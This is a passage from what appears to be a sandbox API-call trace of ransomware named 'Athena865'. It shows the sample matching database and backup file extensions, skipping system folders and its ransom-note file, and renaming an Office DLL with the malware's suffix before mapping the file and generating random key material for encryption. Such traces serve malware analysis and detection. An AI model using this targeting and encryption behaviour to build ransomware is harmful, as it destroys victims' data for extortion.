lpString2="db") returned 1 [0087.542] lstrlenW (lpString="db2") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0087.543] lstrlenW (lpString="db3") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0087.543] lstrlenW (lpString="dbf") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0087.543] lstrlenW (lpString="mdf") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0087.543] lstrlenW (lpString="mdb") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0087.543] lstrlenW (lpString="sql") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0087.543] lstrlenW (lpString="sqlite") returned 6 [0087.543] lstrcmpiW (lpString1="HE.DLL", lpString2="sqlite") returned -1 [0087.543] lstrlenW (lpString="sqlite3") returned 7 [0087.543] lstrcmpiW (lpString1="SHE.DLL", lpString2="sqlite3") returned -1 [0087.543] lstrlenW (lpString="sqlitedb") returned 8 [0087.543] lstrcmpiW (lpString1="SSHE.DLL", lpString2="sqlitedb") returned 1 [0087.543] lstrlenW (lpString="xml") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0087.543] lstrlenW (lpString="$er") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0087.543] lstrlenW (lpString="4dd") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0087.543] lstrlenW (lpString="4dl") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0087.543] lstrlenW (lpString="^^^") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0087.543] lstrlenW (lpString="abs") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0087.543] lstrlenW (lpString="abx") returned 3 [0087.543] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0087.543] lstrlenW (lpString="accdb") returned 5 [0087.543] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0087.543] lstrlenW (lpString="accdc") returned 5 [0087.544] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0087.544] lstrlenW (lpString="accde") returned 5 [0087.544] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0087.544] lstrlenW (lpString="accdr") returned 5 [0087.544] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0087.544] lstrlenW (lpString="accdt") returned 5 [0087.544] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0087.544] lstrlenW (lpString="accdw") returned 5 [0087.544] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0087.544] lstrlenW (lpString="accft") returned 5 [0087.544] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0087.544] lstrlenW (lpString="adb") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.544] lstrlenW (lpString="adb") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.544] lstrlenW (lpString="ade") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0087.544] lstrlenW (lpString="adf") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0087.544] lstrlenW (lpString="adn") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0087.544] lstrlenW (lpString="adp") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0087.544] lstrlenW (lpString="alf") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0087.544] lstrlenW (lpString="ask") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0087.544] lstrlenW (lpString="btr") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0087.544] lstrlenW (lpString="cat") returned 3 [0087.544] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0087.544] lstrlenW (lpString="cdb") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0087.545] lstrlenW (lpString="ckp") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0087.545] lstrlenW (lpString="cma") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0087.545] lstrlenW (lpString="cpd") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0087.545] lstrlenW (lpString="dacpac") returned 6 [0087.545] lstrcmpiW (lpString1="HE.DLL", lpString2="dacpac") returned 1 [0087.545] lstrlenW (lpString="dad") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0087.545] lstrlenW (lpString="dadiagrams") returned 10 [0087.545] lstrlenW (lpString="daschema") returned 8 [0087.545] lstrcmpiW (lpString1="SSHE.DLL", lpString2="daschema") returned 1 [0087.545] lstrlenW (lpString="db-journal") returned 10 [0087.545] lstrlenW (lpString="db-shm") returned 6 [0087.545] lstrcmpiW (lpString1="HE.DLL", lpString2="db-shm") returned 1 [0087.545] lstrlenW (lpString="db-wal") returned 6 [0087.545] lstrcmpiW (lpString1="HE.DLL", lpString2="db-wal") returned 1 [0087.545] lstrlenW (lpString="dbc") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0087.545] lstrlenW (lpString="dbs") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0087.545] lstrlenW (lpString="dbt") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0087.545] lstrlenW (lpString="dbv") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0087.545] lstrlenW (lpString="dbx") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0087.545] lstrlenW (lpString="dcb") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0087.545] lstrlenW (lpString="dct") returned 3 [0087.545] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0087.546] lstrlenW (lpString="dcx") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0087.546] lstrlenW (lpString="ddl") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0087.546] lstrlenW (lpString="dlis") returned 4 [0087.546] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0087.546] lstrlenW (lpString="dp1") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0087.546] lstrlenW (lpString="dqy") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0087.546] lstrlenW (lpString="dsk") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0087.546] lstrlenW (lpString="dsn") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0087.546] lstrlenW (lpString="dtsx") returned 4 [0087.546] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0087.546] lstrlenW (lpString="dxl") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0087.546] lstrlenW (lpString="eco") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0087.546] lstrlenW (lpString="ecx") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0087.546] lstrlenW (lpString="edb") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0087.546] lstrlenW (lpString="epim") returned 4 [0087.546] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0087.546] lstrlenW (lpString="fcd") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0087.546] lstrlenW (lpString="fdb") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0087.546] lstrlenW (lpString="fic") returned 3 [0087.546] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0087.547] lstrlenW (lpString="flexolibrary") returned 12 [0087.547] lstrlenW (lpString="fm5") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0087.547] lstrlenW (lpString="fmp") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0087.547] lstrlenW (lpString="fmp12") returned 5 [0087.547] lstrcmpiW (lpString1="E.DLL", lpString2="fmp12") returned -1 [0087.547] lstrlenW (lpString="fmpsl") returned 5 [0087.547] lstrcmpiW (lpString1="E.DLL", lpString2="fmpsl") returned -1 [0087.547] lstrlenW (lpString="fol") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0087.547] lstrlenW (lpString="fp3") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0087.547] lstrlenW (lpString="fp4") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0087.547] lstrlenW (lpString="fp5") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0087.547] lstrlenW (lpString="fp7") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0087.547] lstrlenW (lpString="fpt") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0087.547] lstrlenW (lpString="frm") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0087.547] lstrlenW (lpString="gdb") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.547] lstrlenW (lpString="gdb") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.547] lstrlenW (lpString="grdb") returned 4 [0087.547] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0087.547] lstrlenW (lpString="gwi") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0087.547] lstrlenW (lpString="hdb") returned 3 [0087.547] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0087.548] lstrlenW (lpString="his") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0087.548] lstrlenW (lpString="ib") returned 2 [0087.548] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0087.548] lstrlenW (lpString="idb") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0087.548] lstrlenW (lpString="ihx") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0087.548] lstrlenW (lpString="itdb") returned 4 [0087.548] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0087.548] lstrlenW (lpString="itw") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0087.548] lstrlenW (lpString="jet") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0087.548] lstrlenW (lpString="jtx") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0087.548] lstrlenW (lpString="kdb") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0087.548] lstrlenW (lpString="kexi") returned 4 [0087.548] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0087.548] lstrlenW (lpString="kexic") returned 5 [0087.548] lstrcmpiW (lpString1="E.DLL", lpString2="kexic") returned -1 [0087.548] lstrlenW (lpString="kexis") returned 5 [0087.548] lstrcmpiW (lpString1="E.DLL", lpString2="kexis") returned -1 [0087.548] lstrlenW (lpString="lgc") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0087.548] lstrlenW (lpString="lwx") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0087.548] lstrlenW (lpString="maf") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0087.548] lstrlenW (lpString="maq") returned 3 [0087.548] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0087.549] lstrlenW (lpString="mar") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0087.549] lstrlenW (lpString="marshal") returned 7 [0087.549] lstrcmpiW (lpString1="SHE.DLL", lpString2="marshal") returned 1 [0087.549] lstrlenW (lpString="mas") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0087.549] lstrlenW (lpString="mav") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0087.549] lstrlenW (lpString="maw") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0087.549] lstrlenW (lpString="mdbhtml") returned 7 [0087.549] lstrcmpiW (lpString1="SHE.DLL", lpString2="mdbhtml") returned 1 [0087.549] lstrlenW (lpString="mdn") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0087.549] lstrlenW (lpString="mdt") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0087.549] lstrlenW (lpString="mfd") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0087.549] lstrlenW (lpString="mpd") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0087.549] lstrlenW (lpString="mrg") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0087.549] lstrlenW (lpString="mud") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0087.549] lstrlenW (lpString="mwb") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0087.549] lstrlenW (lpString="myd") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0087.549] lstrlenW (lpString="ndf") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0087.549] lstrlenW (lpString="nnt") returned 3 [0087.549] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0087.550] lstrlenW (lpString="nrmlib") returned 6 [0087.550] lstrcmpiW (lpString1="HE.DLL", lpString2="nrmlib") returned -1 [0087.550] lstrlenW (lpString="ns2") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0087.550] lstrlenW (lpString="ns3") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0087.550] lstrlenW (lpString="ns4") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0087.550] lstrlenW (lpString="nsf") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0087.550] lstrlenW (lpString="nv") returned 2 [0087.550] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0087.550] lstrlenW (lpString="nv2") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0087.550] lstrlenW (lpString="nwdb") returned 4 [0087.550] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0087.550] lstrlenW (lpString="nyf") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0087.550] lstrlenW (lpString="odb") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.550] lstrlenW (lpString="odb") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.550] lstrlenW (lpString="oqy") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0087.550] lstrlenW (lpString="ora") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0087.550] lstrlenW (lpString="orx") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0087.550] lstrlenW (lpString="owc") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0087.550] lstrlenW (lpString="p96") returned 3 [0087.550] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0087.551] lstrlenW (lpString="p97") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0087.551] lstrlenW (lpString="pan") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0087.551] lstrlenW (lpString="pdb") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0087.551] lstrlenW (lpString="pdm") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0087.551] lstrlenW (lpString="pnz") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0087.551] lstrlenW (lpString="qry") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0087.551] lstrlenW (lpString="qvd") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0087.551] lstrlenW (lpString="rbf") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0087.551] lstrlenW (lpString="rctd") returned 4 [0087.551] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0087.551] lstrlenW (lpString="rod") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0087.551] lstrlenW (lpString="rodx") returned 4 [0087.551] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0087.551] lstrlenW (lpString="rpd") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0087.551] lstrlenW (lpString="rsd") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0087.551] lstrlenW (lpString="sas7bdat") returned 8 [0087.551] lstrcmpiW (lpString1="SSHE.DLL", lpString2="sas7bdat") returned 1 [0087.551] lstrlenW (lpString="sbf") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0087.551] lstrlenW (lpString="scx") returned 3 [0087.551] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0087.551] lstrlenW (lpString="sdb") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0087.552] lstrlenW (lpString="sdc") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0087.552] lstrlenW (lpString="sdf") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0087.552] lstrlenW (lpString="sis") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0087.552] lstrlenW (lpString="spq") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0087.552] lstrlenW (lpString="te") returned 2 [0087.552] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0087.552] lstrlenW (lpString="teacher") returned 7 [0087.552] lstrcmpiW (lpString1="SHE.DLL", lpString2="teacher") returned -1 [0087.552] lstrlenW (lpString="tmd") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0087.552] lstrlenW (lpString="tps") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0087.552] lstrlenW (lpString="trc") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.552] lstrlenW (lpString="trc") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.552] lstrlenW (lpString="trm") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0087.552] lstrlenW (lpString="udb") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0087.552] lstrlenW (lpString="udl") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0087.552] lstrlenW (lpString="usr") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0087.552] lstrlenW (lpString="v12") returned 3 [0087.552] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0087.552] lstrlenW (lpString="vis") returned 3 [0087.553] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0087.553] lstrlenW (lpString="vpd") returned 3 [0087.553] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0087.553] lstrlenW (lpString="vvv") returned 3 [0087.553] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0087.553] lstrlenW (lpString="wdb") returned 3 [0087.553] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0087.553] lstrlenW (lpString="wmdb") returned 4 [0087.553] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0087.553] lstrlenW (lpString="wrk") returned 3 [0087.553] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0087.553] lstrlenW (lpString="xdb") returned 3 [0087.553] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0087.553] lstrlenW (lpString="xld") returned 3 [0087.553] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0087.553] lstrlenW (lpString="xmlff") returned 5 [0087.553] lstrcmpiW (lpString1="E.DLL", lpString2="xmlff") returned -1 [0087.553] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISSHE.DLL.Athena865") returned 63 [0087.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISSHE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visshe.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISSHE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visshe.dll.athena865"), dwFlags=0x1) returned 1 [0087.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISSHE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visshe.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.557] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=976240) returned 1 [0087.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.557] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.558] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.558] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.558] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee870, lpName=0x0) returned 0x17c [0087.559] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xee870) returned 0x2d50000 [0087.599] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.600] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.600] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.601] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0087.609] CloseHandle (hObject=0x17c) returned 1 [0087.609] CloseHandle (hObject=0x154) returned 1 [0087.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.613] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd1e74360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb3d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISSUPP.DLL", cAlternateFileName="")) returned 1 [0087.613] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2=".") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="..") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="windows") returned -1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="bootmgr") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="temp") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="pagefile.sys") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="boot") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="ids.txt") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="ntuser.dat") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="perflogs") returned 1 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2="MSBuild") returned 1 [0087.614] lstrlenW (lpString="VISSUPP.DLL") returned 11 [0087.614] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISSUPP.DLL" | out: lpString1="VISSUPP.DLL") returned="VISSUPP.DLL" [0087.614] lstrlenW (lpString="VISSUPP.DLL") returned 11 [0087.614] lstrlenW (lpString="Athena865") returned 9 [0087.614] lstrcmpiW (lpString1="SSUPP.DLL", lpString2="Athena865") returned 1 [0087.614] lstrlenW (lpString=".dll") returned 4 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2=".dll") returned 1 [0087.614] lstrlenW (lpString=".lnk") returned 4 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2=".lnk") returned 1 [0087.614] lstrlenW (lpString=".ini") returned 4 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2=".ini") returned 1 [0087.614] lstrlenW (lpString=".sys") returned 4 [0087.614] lstrcmpiW (lpString1="VISSUPP.DLL", lpString2=".sys") returned 1 [0087.614] lstrlenW (lpString="VISSUPP.DLL") returned 11 [0087.614] lstrlenW (lpString="bak") returned 3 [0087.614] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0087.614] lstrlenW (lpString="ba_") returned 3 [0087.614] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0087.614] lstrlenW (lpString="dbb") returned 3 [0087.614] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0087.615] lstrlenW (lpString="vmdk") returned 4 [0087.615] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0087.615] lstrlenW (lpString="rar") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0087.615] 